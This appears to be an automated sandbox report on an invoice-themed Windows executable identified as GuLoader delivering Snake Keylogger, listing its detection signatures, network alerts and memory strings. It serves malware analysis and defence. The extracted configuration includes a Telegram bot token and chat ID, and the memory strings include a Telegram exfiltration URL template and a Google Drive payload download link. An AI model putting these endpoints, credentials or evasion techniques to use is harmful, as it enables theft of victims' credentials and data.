Edit tour

Windows Analysis Report
Factura Honorarios 2024-10.exe

Overview

General Information

Sample name:	Factura Honorarios 2024-10.exe
Analysis ID:	1545394
MD5:	43a7d0b4c9aefb5dd8c1fbfad057b4b9
SHA1:	abcfcabf7f909fc140e8e00bfaeea404e23fca76
SHA256:	edf915e141af931f3bf0174a430576b7f7493449bdb1a4275515d0fe0a24fd8c
Tags:	exevipkeyloggeruser-malwarelabnet
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Factura Honorarios 2024-10.exe (PID: 7144 cmdline: "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe" MD5: 43A7D0B4C9AEFB5DD8C1FBFAD057B4B9)

Factura Honorarios 2024-10.exe (PID: 5852 cmdline: "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe" MD5: 43A7D0B4C9AEFB5DD8C1FBFAD057B4B9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7807279596:AAEZM1QwkCh738-y0Qmnc3ubaoLMl6bUCVw", "Chat_id": "7267131103", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.3011994404.0000000037AA7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2985431621.0000000001862000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.2291538822.00000000053B2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Factura Honorarios 2024-10.exe PID: 5852	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Factura Honorarios 2024-10.exe PID: 5852	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T14:19:27.745870+0100	2803305	3	Unknown Traffic	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-30T14:19:31.328178+0100	2803305	3	Unknown Traffic	192.168.2.4	49877	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T14:19:25.417106+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49835	132.226.8.169	80	TCP
2024-10-30T14:19:27.010906+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49835	132.226.8.169	80	TCP
2024-10-30T14:19:28.729743+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49859	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T14:19:19.475594+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49802	216.58.206.46	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 30 Oct 2024 13:19:41 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Factura Honorarios 2024-10.exe, 00000000.00000000.1732761508.0000000000409000.00000008.00000001.01000000.00000003.sdmp, Factura Honorarios 2024-10.exe, 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000000.2285548964.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:928100%0D%0ADate%20a
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B60000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.0000000007498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.00000000074D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1oJw8WIUYqUxWmFwtYXemvm2bVtwDyPlb
Source: Factura Honorarios 2024-10.exe, 00000004.00000003.2448957898.000000000750D000.00000004.00000020.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.0000000007505000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Factura Honorarios 2024-10.exe, 00000004.00000003.2448957898.000000000750D000.00000004.00000020.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.0000000007505000.00000004.00000020.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000003.2799657598.0000000007530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/Zc
Source: Factura Honorarios 2024-10.exe, 00000004.00000003.2448957898.000000000750D000.00000004.00000020.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.00000000074D2000.00000004.00000020.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.00000000074ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1oJw8WIUYqUxWmFwtYXemvm2bVtwDyPlb&export=download
Source: Factura Honorarios 2024-10.exe, 00000004.00000003.2448957898.000000000750D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1oJw8WIUYqUxWmFwtYXemvm2bVtwDyPlb&export=downloade1
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.78
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.78$
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038AC3000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038D1C000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037AA7000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C19000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A7C000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A51000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C20000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038BF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038AC3000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038D1C000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037AA7000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C19000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A7C000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A51000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C20000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038BF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49943 version: TLS 1.2

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Code function: 0_2_00405160 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405160

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 0_2_004031FF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,ExitProcess,		0_2_004031FF
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_004031FF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,ExitProcess,		4_2_004031FF

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 0_2_004063CC	0_2_004063CC
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 0_2_0040499D	0_2_0040499D
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_004063CC	4_2_004063CC
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0040499D	4_2_0040499D
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016C1A2	4_2_0016C1A2
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016D278	4_2_0016D278
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_00165362	4_2_00165362
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016C468	4_2_0016C468
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016C738	4_2_0016C738
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016E988	4_2_0016E988
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_001669A0	4_2_001669A0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016CA08	4_2_0016CA08
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016CCD8	4_2_0016CCD8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_00169DE0	4_2_00169DE0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_00163E09	4_2_00163E09
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016CFA9	4_2_0016CFA9
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_00166FC8	4_2_00166FC8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016E97A	4_2_0016E97A
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_0016F960	4_2_0016F960
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_001629E0	4_2_001629E0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C52968	4_2_39C52968
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5FC68	4_2_39C5FC68
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C55028	4_2_39C55028
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C517A0	4_2_39C517A0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C59328	4_2_39C59328
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C51E80	4_2_39C51E80
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5E258	4_2_39C5E258
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5DDF1	4_2_39C5DDF1
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5D999	4_2_39C5D999
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5D9A8	4_2_39C5D9A8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5D540	4_2_39C5D540
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C59548	4_2_39C59548
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5D550	4_2_39C5D550
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5295A	4_2_39C5295A
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5D0E8	4_2_39C5D0E8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5D0F8	4_2_39C5D0F8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5CCA0	4_2_39C5CCA0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C50040	4_2_39C50040
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5F801	4_2_39C5F801
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5F810	4_2_39C5F810
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C50012	4_2_39C50012
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C59C18	4_2_39C59C18
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C55018	4_2_39C55018
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5178F	4_2_39C5178F
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C58B91	4_2_39C58B91
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C58BA0	4_2_39C58BA0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5F3A8	4_2_39C5F3A8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5F3B8	4_2_39C5F3B8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5EF51	4_2_39C5EF51
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5EF60	4_2_39C5EF60
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5EB08	4_2_39C5EB08
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C50B20	4_2_39C50B20
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C50B30	4_2_39C50B30
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5EAF8	4_2_39C5EAF8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5E6A0	4_2_39C5E6A0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5E6B0	4_2_39C5E6B0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5E249	4_2_39C5E249
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5E257	4_2_39C5E257
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C51E70	4_2_39C51E70
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_39C5DE00	4_2_39C5DE00
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC6A18	4_2_3ACC6A18
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC81D0	4_2_3ACC81D0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC8FB0	4_2_3ACC8FB0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC7B78	4_2_3ACC7B78
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC7720	4_2_3ACC7720
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC72C8	4_2_3ACC72C8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACCC0C8	4_2_3ACCC0C8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACCC0C0	4_2_3ACCC0C0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC4EC2	4_2_3ACC4EC2
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC4ED0	4_2_3ACC4ED0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC08E0	4_2_3ACC08E0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACCF2F8	4_2_3ACCF2F8
